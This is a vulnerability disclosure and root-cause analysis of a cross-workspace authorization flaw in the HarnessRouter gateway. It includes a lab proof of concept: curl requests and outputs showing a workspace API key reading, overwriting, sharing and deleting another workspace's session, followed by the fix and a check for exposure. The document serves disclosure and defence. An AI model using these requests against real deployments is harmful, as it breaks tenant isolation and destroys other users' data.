---
title: "CVE-2026-125330: Cross-Workspace Session Access with a HarnessRouter Workspace Key"
description: "Root-cause analysis of CVE-2026-125330: HarnessRouter narrowed the session list to an API key's workspace, but the routes that take a session or response id checked only the organization. A workspace key that knew another workspace's session id could read, overwrite, publish and delete that session. Fixed in 0.31.7."
date: 2026-11-09
analysisType: "Root Cause Analysis"
cves: ["CVE-2026-125330"]
author: Sevban Dönmez (@jankesec)
canonical: https://jankesec.com/research/cve-2026-125330-harnessrouter-workspace-key-scope/
---

> **Disclosure:** CVE-2026-125330 (CWE-639) affects HarnessRouter Community Edition from 0.4.2 up to 0.31.6. I reported it to the maintainers as `jankesec` through GitHub private vulnerability reporting on 2026-09-08, with a reproducing test. It is fixed in 0.31.7 by [PR #417](https://github.com/HarnessRouter/harnessrouter/pull/417) and published as [GHSA-9pjr-97x3-c4wv](https://github.com/HarnessRouter/harnessrouter/security/advisories/GHSA-9pjr-97x3-c4wv). GitHub, as CNA, published the [CVE record](https://www.cve.org/CVERecord?id=CVE-2026-125330) on 2026-11-10 with CVSS 3.1 7.5 (High): `CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H`.

The attacker needs two things: an API key made in a workspace other than the Default Workspace, and the id of a session (or response) that belongs to another workspace of the same organization. Session ids are `hsess` followed by a random UUID and cannot be guessed, so the id has to come from somewhere else, such as a copied link, a log line or a support ticket. With both, HarnessRouter 0.4.2 to 0.31.6 let the key read that session's metadata, turns, trace and files, overwrite a file, cancel or delete the session, and publish a share link for it. Another organization stays out of reach, and console users, organization keys and Default Workspace keys are meant to see the whole organization.

HarnessRouter runs agent CLIs such as Codex and Claude Code behind one HTTP API, with sessions, streaming, workspace files and cancellation. An organization can be split into workspaces, and the self-hosting guide in 0.31.6 says of a key made on the API Keys page: "The key is scoped to the selected workspace". The gateway kept that promise in its lists and broke it on every route that takes an id.

## Workspaces, keys and the list filter

When a request carries `Authorization: Bearer sk-hr-…`, `_principal()` hands the token to `_apikey_resolve()`, which looks the key up by its SHA-256 and returns the organization, the member and the workspace the key was made in. The list route uses that workspace:

```python
# gateway/app.py, v0.31.6
@app.get("/v1/sessions")
async def list_sessions(request: Request, limit: int = 20, cursor: str = "",
                        harness: str = "", member: str = "") -> dict:
    p = await _principal(request)
    ...  # organization check and calibration override omitted
    # A workspace-scoped principal (workspace-stamped API key, or the console's workspace header)
    # sees only its workspace's sessions; unscoped principals keep the whole-org view.
    return await _session_cards(org, limit, cursor, member, harness,
                                workspace=str(p.get("workspace") or ""),
                                ws_default=bool(p.get("workspace_default")))
```

The rule behind the filter is `_workspace_keep()`. A record belongs to the caller when its workspace matches, and records made before workspaces existed belong to the Default Workspace:

```python
# gateway/app.py, v0.31.6 (docstring omitted)
def _workspace_keep(item_ws: str, workspace: str, ws_default: bool) -> bool:
    if not workspace:
        return True
    return item_ws == workspace or (ws_default and not item_ws)
```

A key of the `research` workspace therefore never sees a session of the `clients` workspace in a list. The same key could still name that session by id.

## Root cause: the id routes stopped at the organization

Every route that addresses one session asked a shared helper whether the caller may touch it:

```python
# gateway/app.py, v0.31.6
async def _owned_session(request: Request, sid: str) -> tuple[str, dict]:
    p = await _principal(request)
    org = p.get("org", "")
    v = await _vertex_get(sid)
    if not v or str(v.get("tenant") or "") != org or str(v.get("status")) == "deleted":
        raise uhp_error(404, "session_not_found", "No session with that id.", "session_id")
    c = p.get("calibration")
    if c and str(v.get("harness_id") or "") != str(c.get("inner") or ""):
        raise uhp_error(404, "session_not_found", "No session with that id.", "session_id")   # not its harness's
    return org, v
```

The session record carries both `tenant` and `workspace`, and the principal carries both `org` and `workspace`. The helper compares the first pair and never looks at the second. In 0.31.6 sixteen routes called it, among them session detail, rename, cancel, turns, the three trace routes, the file list, the archive download and the single-file `GET` and `PUT`. Five more handlers repeated the tenant comparison inline: session delete, the three share-link routes and the artifact route `/a/{sid}/{path}`. The response routes compared the response record's `_org` and, for calibration credentials, its harness. None of them compared the workspace.

The helper already enforced one narrower scope. A calibration credential is held to a single harness, and the two `calibration` lines turn away sessions of any other harness. The workspace needed the same two lines and did not have them. Both the list filter and the organization-only helper are already in the repository's first commit, `fc68631` (2026-08-09), and the first tagged release with them is 0.4.2.

<figure class="diagram">
<svg viewBox="0 0 804 340" xmlns="http://www.w3.org/2000/svg" role="img" aria-label="Flow of CVE-2026-125330. A HarnessRouter API key of the research workspace calls two kinds of route. The session list filters by the key's workspace and returns research sessions only. The route that takes a session id runs _owned_session, which compares only the organization, so a session of the clients workspace is returned and can be read, overwritten, shared and deleted. Version 0.31.7 adds the workspace check and answers 404.">
<defs><marker id="hr-arrow" viewBox="0 0 8 8" refX="7" refY="4" markerWidth="7" markerHeight="7" orient="auto"><path d="M0,0 L8,4 L0,8 z" class="dg-arrow" /></marker><marker id="hr-arrow-crit" viewBox="0 0 8 8" refX="7" refY="4" markerWidth="7" markerHeight="7" orient="auto"><path d="M0,0 L8,4 L0,8 z" class="dg-arrow-crit" /></marker></defs>
<rect x="12" y="128" width="172" height="84" rx="8" class="dg-box-accent" />
<text x="26" y="154" class="dg-label">API key</text>
<text x="26" y="176" class="dg-muted">org = local</text>
<text x="26" y="194" class="dg-muted">workspace = research</text>
<path d="M184 150 C 200 150, 200 66, 214 66" fill="none" class="dg-line" marker-end="url(#hr-arrow)" />
<path d="M184 190 C 200 190, 200 272, 214 272" fill="none" class="dg-line-crit" marker-end="url(#hr-arrow-crit)" />
<rect x="216" y="34" width="172" height="64" rx="8" class="dg-box" />
<text x="230" y="60" class="dg-label">GET /v1/sessions</text>
<text x="230" y="82" class="dg-muted">list_sessions()</text>
<line x1="388" y1="66" x2="406" y2="66" class="dg-line" marker-end="url(#hr-arrow)" />
<rect x="408" y="34" width="172" height="64" rx="8" class="dg-box" />
<text x="422" y="60" class="dg-label">_session_cards()</text>
<text x="422" y="82" class="dg-muted">filters by workspace</text>
<line x1="580" y1="66" x2="598" y2="66" class="dg-line" marker-end="url(#hr-arrow)" />
<rect x="600" y="34" width="192" height="64" rx="8" class="dg-box-ok" />
<text x="614" y="60" class="dg-label">research sessions only</text>
<text x="614" y="82" class="dg-ok">clients sessions hidden</text>
<text x="216" y="140" class="dg-note">Same key, same organization. The list asks</text>
<text x="216" y="158" class="dg-note">which workspace; the id route asks only</text>
<text x="216" y="176" class="dg-note">which organization.</text>
<rect x="216" y="240" width="172" height="64" rx="8" class="dg-box" />
<text x="230" y="266" class="dg-label">GET /v1/sessions/{sid}</text>
<text x="230" y="288" class="dg-muted">_owned_session()</text>
<line x1="388" y1="272" x2="406" y2="272" class="dg-line-crit" marker-end="url(#hr-arrow-crit)" />
<rect x="408" y="240" width="172" height="64" rx="8" class="dg-box-danger" />
<text x="422" y="266" class="dg-label">tenant == org?</text>
<text x="422" y="288" class="dg-crit">no workspace check</text>
<line x1="580" y1="272" x2="598" y2="272" class="dg-line-crit" marker-end="url(#hr-arrow-crit)" />
<rect x="600" y="240" width="192" height="64" rx="8" class="dg-box-danger" />
<text x="614" y="266" class="dg-label">a clients session</text>
<text x="614" y="288" class="dg-crit">read/write/share/delete</text>
<text x="216" y="330" class="dg-note">0.31.7: _owned_session also asks _scope_keeps(p, v.workspace) and answers 404</text>
</svg>
<figcaption>Both routes resolve the same principal. Before 0.31.7 only the list compared its workspace.</figcaption>
</figure>

## Evidence matrix

| Question | What I checked | Confidence | Notes and negative controls |
|---|---|---:|---|
| Was it present when I reported it? | My route-level test on `main` and on v0.15.5, the latest release on 2026-09-08. | High | Cross-workspace detail, file read and file write returned 200. No key returned 401, another organization 404, the same workspace 200. |
| Is the last vulnerable release exploitable end to end? | v0.31.6 (`5f1e8a8`): real gateway and runner, keys minted through the API, every request over HTTP. | High | Detail, file read, file write, share link and delete all returned 200 for a key of another workspace. The file on disk was replaced. |
| Does 0.31.7 close it? | The same lab on v0.31.7 (`249c6cc`). | High | All five requests returned 404 `session_not_found`. The file kept its content, and the owning key still reached its session. |
| Does it cross organizations? | A key minted in organization `other` against the same session. | High | 404 on both versions. The bug stays inside one organization. |
| Can an attacker find session ids? | `_resp_resolve_session()` mints `"hsess" + uuid.uuid4().hex`. | High | 122 random bits. The attacker needs the id from another source; `AC:H` in the vector reflects that. |
| Are response ids affected? | Source of `get_response`, `delete_response`, `list_input_items` and `cancel_response` in 0.31.6, and the fix. | Medium | The routes compared only `_org`. The fix sends them through `_response_in_reach()`. I did not run a turn, so responses were not exercised in the lab. |
| Is my September test a valid regression test for the fix? | The same test file on 0.31.6 and 0.31.7. | High | No. It passes on both, because it replaces `_apikey_resolve()`, where the fix marks API-key callers. See the section below. |
| Does the vendor's regression test pass? | `gateway/tests/test_workspace_scope.py` on v0.31.7. | High | 32 passed, including the test that scans every route with an id parameter (72 in 0.31.7). |

## Reproduction

The lab runs one tag at a time from a checkout, with Python 3.13 and the gateway's and runner's pinned requirements. It uses the settings `docker/entrypoint.sh` gives the self-hosted container: local backing, `HR_IDENTITY_MODE=off`, and the runner on loopback as the gateway's file backend. The one difference is `HR_SESSION_UIDS`, which needs the runner to run as root. It runs each session's agent processes as a separate Unix user that owns the session's files, and it plays no part in the gateway's decision under test.

```bash
export HR_BACKING=local HR_DATA_DIR="$DATA" HARNESS_WORKSPACE="$DATA/workspaces" \
  HR_SECRET_KEY="$SECRET" HARNESS_INTERNAL_KEY="$INTERNAL" \
  HR_IDENTITY_MODE=off HR_CREDIT_GATE=off HR_POOL_AUTH=none \
  POOL_MGMT_ENDPOINT="http://127.0.0.1:18081" HARNESS_SPOOL_DIR="$DATA/spool"
( cd runner  && python -m uvicorn server:app --host 127.0.0.1 --port 18081 ) &
( cd gateway && python -m uvicorn app:app    --host 127.0.0.1 --port 18080 ) &
GW=http://127.0.0.1:18080
```

Workspaces and keys are made the way the console makes them. Its server side calls the gateway with the internal key and the signed-in person's organization, member and workspace (`ui/src/app/api/harness/[...path]/route.ts`). An API client's request is different: the console forwards its `Authorization` header unchanged, and `_apikey_resolve()` decides. The lab sends the key requests straight to the gateway, which is the same path.

```bash
console() {  # method path org workspace json
  curl -s -X "$1" "$GW$2" -H "x-harness-internal: $INTERNAL" \
    -H "x-harness-org: $3" -H "x-harness-member: local@localhost" -H "x-harness-workspace: $4" \
    -H 'content-type: application/json' --data "$5"
}
console POST /v1/hr/workspaces local default '{"name":"Research"}'
console POST /v1/hr/workspaces local default '{"name":"Clients"}'
KEY_A=$(console POST /v1/orgs/local/keys local research '{"name":"research-bot","workspace":"research","member_id":"local@localhost"}' | jq -r .key)
KEY_B=$(console POST /v1/orgs/local/keys local clients '{"name":"clients-bot","workspace":"clients","member_id":"local@localhost"}' | jq -r .key)
KEY_X=$(console POST /v1/orgs/other/keys other research '{"name":"other-org","workspace":"research","member_id":"x@other"}' | jq -r .key)
```

A session record is normally written when an agent turn starts, and a turn needs an agent CLI and a model provider key. The lab writes the same fields through the gateway's own store before it starts, one session per workspace and one in the other organization:

```python
graph = SqliteGraphStore(os.path.join(data_dir, "graph.db"))   # gateway/backing.py
await graph.upsert("HarnessSession", sid_b, {"tenant": "local", "workspace": "clients",
                   "title": "Client engagement notes", "member_id": "local@localhost",
                   "backend": "claude", "status": "done", "turn_status": "done"})
```

The owner of the `clients` session then writes a file into it through the API, and the `research` key goes after it. These are the requests the script sends; it records each status code and a one-line summary of each body:

```bash
curl -s -X PUT "$GW/v1/sessions/$SID_B/files/notes/engagement.md" -H "Authorization: Bearer $KEY_B" \
  -H 'content-type: application/json' --data '{"content":"client: ACME Corp\nscope: internal network, 2 sites\n"}'

curl -s "$GW/v1/sessions/$SID_B" -H "Authorization: Bearer $KEY_A"
curl -s "$GW/v1/sessions/$SID_B/files/notes/engagement.md" -H "Authorization: Bearer $KEY_A"
curl -s -X PUT "$GW/v1/sessions/$SID_B/files/notes/engagement.md" -H "Authorization: Bearer $KEY_A" \
  -H 'content-type: application/json' --data '{"content":"replaced by the research workspace key\n"}'
curl -s -X POST "$GW/v1/sessions/$SID_B/share" -H "Authorization: Bearer $KEY_A"
curl -s -X DELETE "$GW/v1/sessions/$SID_B" -H "Authorization: Bearer $KEY_A"
```

### Observed output on 0.31.6

Run on 2026-11-10. `<A>` and `<B>` stand for the two session ids, and each key is shown only by its last four characters.

```text
# HarnessRouter v0.31.6 (5f1e8a8), 2026-11-10T20:37:06Z
key A (workspace research): sk-hr-…5f8c   key B (workspace clients): sk-hr-…266e   key X (org other): sk-hr-…7eaa
## setup: workspace clients writes a file into its own session <B>
B key, own session, write      PUT    /v1/sessions/<B>/files/notes/engagement.md -> 200  {"session_id": "<B>", "path": "notes/engagement.md", "bytes": 51, "written": true}
## controls
no key                         GET    /v1/sessions/<B>                           -> 401  error=invalid_credential
A key, own session             GET    /v1/sessions/<A>                           -> 200  {"session_id": "<A>", "tenant": "local", "workspace": "research", "title": "Literature review"}
B key, own session             GET    /v1/sessions/<B>                           -> 200  {"session_id": "<B>", "tenant": "local", "workspace": "clients", "title": "Client engagement notes"}
X key (other org), session B   GET    /v1/sessions/<B>                           -> 404  error=session_not_found
## workspace research key against workspace clients' session <B>
A key, B detail                GET    /v1/sessions/<B>                           -> 200  {"session_id": "<B>", "tenant": "local", "workspace": "clients", "title": "Client engagement notes"}
A key, B file read             GET    /v1/sessions/<B>/files/notes/engagement.md -> 200  client: ACME Corp | scope: internal network, 2 sites
A key, B file write            PUT    /v1/sessions/<B>/files/notes/engagement.md -> 200  {"session_id": "<B>", "path": "notes/engagement.md", "bytes": 39, "written": true}
A key, B share link            POST   /v1/sessions/<B>/share                     -> 200  {"enabled": true, "url": "/share/shr55b41102d64343bb886a989274c69e88"}
## file on disk: $HARNESS_WORKSPACE/<B>/notes/engagement.md
replaced by the research workspace key
A key, B delete                DELETE /v1/sessions/<B>                           -> 200  {"id": "<B>", "object": "session", "deleted": true}
B key, own session after       GET    /v1/sessions/<B>                           -> 404  error=session_not_found
```

The controls behave: no key is refused, another organization gets the same 404 as an unknown id, and each key reaches its own session. The `research` key then read the `clients` session and its file, replaced the file on disk, published a share link for the session and deleted it. The last line is the owner of the session getting 404 for it.

### Observed output on 0.31.7

The same script, the same requests, a fresh data directory:

```text
# HarnessRouter v0.31.7 (249c6cc), 2026-11-10T20:37:07Z
## controls
no key                         GET    /v1/sessions/<B>                           -> 401  error=invalid_credential
A key, own session             GET    /v1/sessions/<A>                           -> 200  {"session_id": "<A>", "tenant": "local", "workspace": "research", "title": "Literature review"}
B key, own session             GET    /v1/sessions/<B>                           -> 200  {"session_id": "<B>", "tenant": "local", "workspace": "clients", "title": "Client engagement notes"}
X key (other org), session B   GET    /v1/sessions/<B>                           -> 404  error=session_not_found
## workspace research key against workspace clients' session <B>
A key, B detail                GET    /v1/sessions/<B>                           -> 404  error=session_not_found
A key, B file read             GET    /v1/sessions/<B>/files/notes/engagement.md -> 404  error=session_not_found
A key, B file write            PUT    /v1/sessions/<B>/files/notes/engagement.md -> 404  error=session_not_found
A key, B share link            POST   /v1/sessions/<B>/share                     -> 404  error=session_not_found
## file on disk: $HARNESS_WORKSPACE/<B>/notes/engagement.md
client: ACME Corp
scope: internal network, 2 sites
A key, B delete                DELETE /v1/sessions/<B>                           -> 404  error=session_not_found
B key, own session after       GET    /v1/sessions/<B>                           -> 200  {"session_id": "<B>", "tenant": "local", "workspace": "clients", "title": "Client engagement notes"}
```

Every request from the other workspace now gets the answer an unknown id gets, and nothing changed on disk. This is the negative control for the whole chain: same setup, same requests, and only the gateway version differs.

## The test I sent in September, and why it cannot check the fix

The report I filed on 2026-09-08 carried a pytest test for the gateway. It ran the real FastAPI application, `_principal()`, `_owned_session()` and the file routes, and replaced three functions around them: `_apikey_resolve()` returned a principal for workspace A when it saw a fixed token, `_vertex_get()` returned a session of workspace B, and `BACKING.workspace` became an in-memory file store. On `main` and on v0.15.5 it printed:

```text
workspace policy mismatch=false; cross-workspace detail=200, file-read=200, file-write=200; anonymous=401; cross-org=404; same-workspace control=200
.
1 passed
```

The test proved metadata, file read and file write. The report traced turns, traces, rename, cancel, the archive download and delete through the code, and its remediation section named the response routes. GitHub published the CVSS vector the report proposed.

For this write-up I ran the same file against both versions, expecting it to fail on 0.31.7. It passed on both:

```text
=================== original 2026-09-08 reproducer on v0.31.6 (5f1e8a8)
workspace policy mismatch=false; cross-workspace detail=200, file-read=200, file-write=200; anonymous=401; cross-org=404; same-workspace control=200
.
1 passed in 0.31s
=================== original 2026-09-08 reproducer on v0.31.7 (249c6cc)
workspace policy mismatch=false; cross-workspace detail=200, file-read=200, file-write=200; anonymous=401; cross-org=404; same-workspace control=200
.
1 passed in 0.31s
```

The fix decides who is held to a workspace from a marker that only `_apikey_resolve()` sets, `"via": "api_key"`. My stub replaced that function and returned a principal without the marker, and 0.31.7 reads a principal without it as a person in the console, who keeps organization reach. Adding the one field to the stub gives the expected result:

```text
=================== stub + via=api_key on v0.31.6
1 passed in 0.31s
=================== stub + via=api_key on v0.31.7
>       assert detail.status_code == 200
E       assert 404 == 200
E        +  where 404 = <Response [404 Not Found]>.status_code
1 failed in 0.32s
```

The September test was a fair reproducer for the bug: the stubbed resolver returned the same fields the real one returned in that version. As a regression test it is useless, because it replaced the layer the fix changed. The lab above avoids that by minting real keys and letting the real resolver run.

## The fix (PR #417)

[PR #417](https://github.com/HarnessRouter/harnessrouter/pull/417) was merged as commit [`249c6cc`](https://github.com/HarnessRouter/harnessrouter/commit/249c6cc9ab51a24a78f4e9809d356718f2ef74b1) and released as [0.31.7](https://github.com/HarnessRouter/harnessrouter/releases/tag/v0.31.7) on 2026-10-06, 28 days after the report. It moves the workspace rule into one function and makes every route that takes an id ask it. The two new helpers, without their docstrings:

```python
# gateway/app.py, v0.31.7
def _key_scope(p: dict) -> str:
    if p.get("via") != "api_key":
        return ""
    ws = str(p.get("workspace") or "")
    if not ws or p.get("workspace_default") or ws == f"{p.get('org') or ''}__hr_default":
        return ""
    return ws


def _scope_keeps(p: dict, item_ws) -> bool:
    held = _key_scope(p)
    return not held or str(item_ws or "") == held
```

`_owned_session()` gets one more condition, and the resolver starts marking API-key callers:

```diff
 async def _owned_session(request: Request, sid: str) -> tuple[str, dict]:
     p = await _principal(request)
     org = p.get("org", "")
     v = await _vertex_get(sid)
     if not v or str(v.get("tenant") or "") != org or str(v.get("status")) == "deleted":
         raise uhp_error(404, "session_not_found", "No session with that id.", "session_id")
+    if not _scope_keeps(p, v.get("workspace")):
+        raise uhp_error(404, "session_not_found", "No session with that id.", "session_id")   # another workspace's
@@ async def _apikey_resolve(tok: str) -> dict | None:
             return {"org": doc.get("org", ""), "member": doc.get("member", ""),
                     "workspace": doc.get("workspace", "") or "",
-                    "workspace_default": bool(doc.get("workspace_default"))}
+                    "workspace_default": bool(doc.get("workspace_default")), "via": "api_key"}
```

The five inline tenant checks gain the same `_scope_keeps()` condition, and the response routes now resolve the session behind the response through `_response_in_reach()`. Four choices in the change are worth copying:

1. **One answer for out of scope and unknown.** Another workspace's id gets `404 session_not_found`, the same body as an id that does not exist, so a key cannot confirm that a session exists.
2. **Records without a workspace stay out of reach.** Records made before workspaces existed belong to the Default Workspace, so a key held to another workspace no longer reaches them either.
3. **Organization reach is a stated choice.** A person signed in to the console, an organization key and a Default Workspace key keep organization reach. The console's API Keys dialog now asks for the key's reach, and the release notes tell integrators that a workspace key used across workspaces will start getting 404 or 403.
4. **A test that reads the routes.** `test_every_route_that_takes_an_id_asks_whether_it_is_in_the_callers_workspace` parses `gateway/app.py`, finds every route with an id in its path (72 in 0.31.7) and fails when one of them calls none of the scope helpers. A new route cannot ship without the check unless someone adds it to the exemption list with a reason.

The commit message says the gap was reported privately three times. Two advisories published the same day cover overlapping ground: [GHSA-cgf4-38c9-39vr](https://github.com/HarnessRouter/harnessrouter/security/advisories/GHSA-cgf4-38c9-39vr), credited to Omer Bar-Ness and reported on 2026-10-05, which adds key minting, the harness routes and the organization's harness list, and [GHSA-4386-3vpq-3xhx](https://github.com/HarnessRouter/harnessrouter/security/advisories/GHSA-4386-3vpq-3xhx), credited to Tike00 and fixed in 0.31.8. CVE-2026-125330 covers the session, file and response part, from my report of 2026-09-08.

## Checking an instance

The fixed version is 0.31.7; the current release is 0.41.8. The gateway reports the version it was built as on its discovery route, which the console relays without a login (`$HARNESSROUTER_BASE_URL` is `http://localhost:3000/api/harness` on a default install):

```bash
curl -s "$HARNESSROUTER_BASE_URL/v1/uhp" | jq -r .implementation.version
```

A self-built image reports `dev`. To test the behaviour itself, take a key made in a workspace other than the Default Workspace and the id of a session from a different workspace of the same organization. Only `GET` is needed:

```bash
curl -s -o /dev/null -w '%{http_code}\n' "$HARNESSROUTER_BASE_URL/v1/sessions/$SESSION_OF_WORKSPACE_B" \
  -H "Authorization: Bearer $KEY_OF_WORKSPACE_A"
```

A fixed gateway answers `404`. `200` means the key is not held to its workspace.

After upgrading, look for share links that the owning workspace did not publish: `GET /v1/sessions/{sid}/share` shows whether a session is shared, and `DELETE /v1/sessions/{sid}/share` revokes it. Past use is hard to reconstruct. The container starts the gateway with `--log-level warning`, which leaves out uvicorn's access log, so the gateway keeps no per-request record unless a reverse proxy in front of the console logs requests. The API Keys page shows when each key was last used, which tells you which keys were active, not what they touched.

If you cannot upgrade, the advisory's workaround applies: treat every API key as an organization key, and give keys only to parties you would trust with every workspace.

## Takeaways

1. If a list is filtered by a scope, every route that takes an id needs the same check, written once. Here the list asked the workspace question in `_session_cards()` and the id routes asked a different question in `_owned_session()`.
2. Answer an id outside the caller's scope exactly like an id that does not exist. The 404 for another organization was already right; the fix extended it to other workspaces.
3. Reproduce authorization bugs through the real credential path. A stubbed resolver reproduces the bug only as long as it matches the real one, and the fix may change exactly that layer.

## Disclosure timeline

| Date | Event |
|---|---|
| 2026-08-09 | The repository's first commit (`fc68631`) contains the workspace-filtered list and the organization-only `_owned_session()`. First tagged in 0.4.2 on 2026-08-15. |
| 2026-09-08 | Reported through GitHub private vulnerability reporting with a reproducing test, confirmed on `main` and v0.15.5 (GHSA-9pjr-97x3-c4wv). |
| 2026-10-06 | PR #417 merged and 0.31.7 released. GHSA-9pjr-97x3-c4wv published. |
| 2026-11-09 | CVE-2026-125330 reserved. |
| 2026-11-10 | GitHub, as CNA, published the CVE record. Lab re-run on 0.31.6 and 0.31.7 for this write-up. |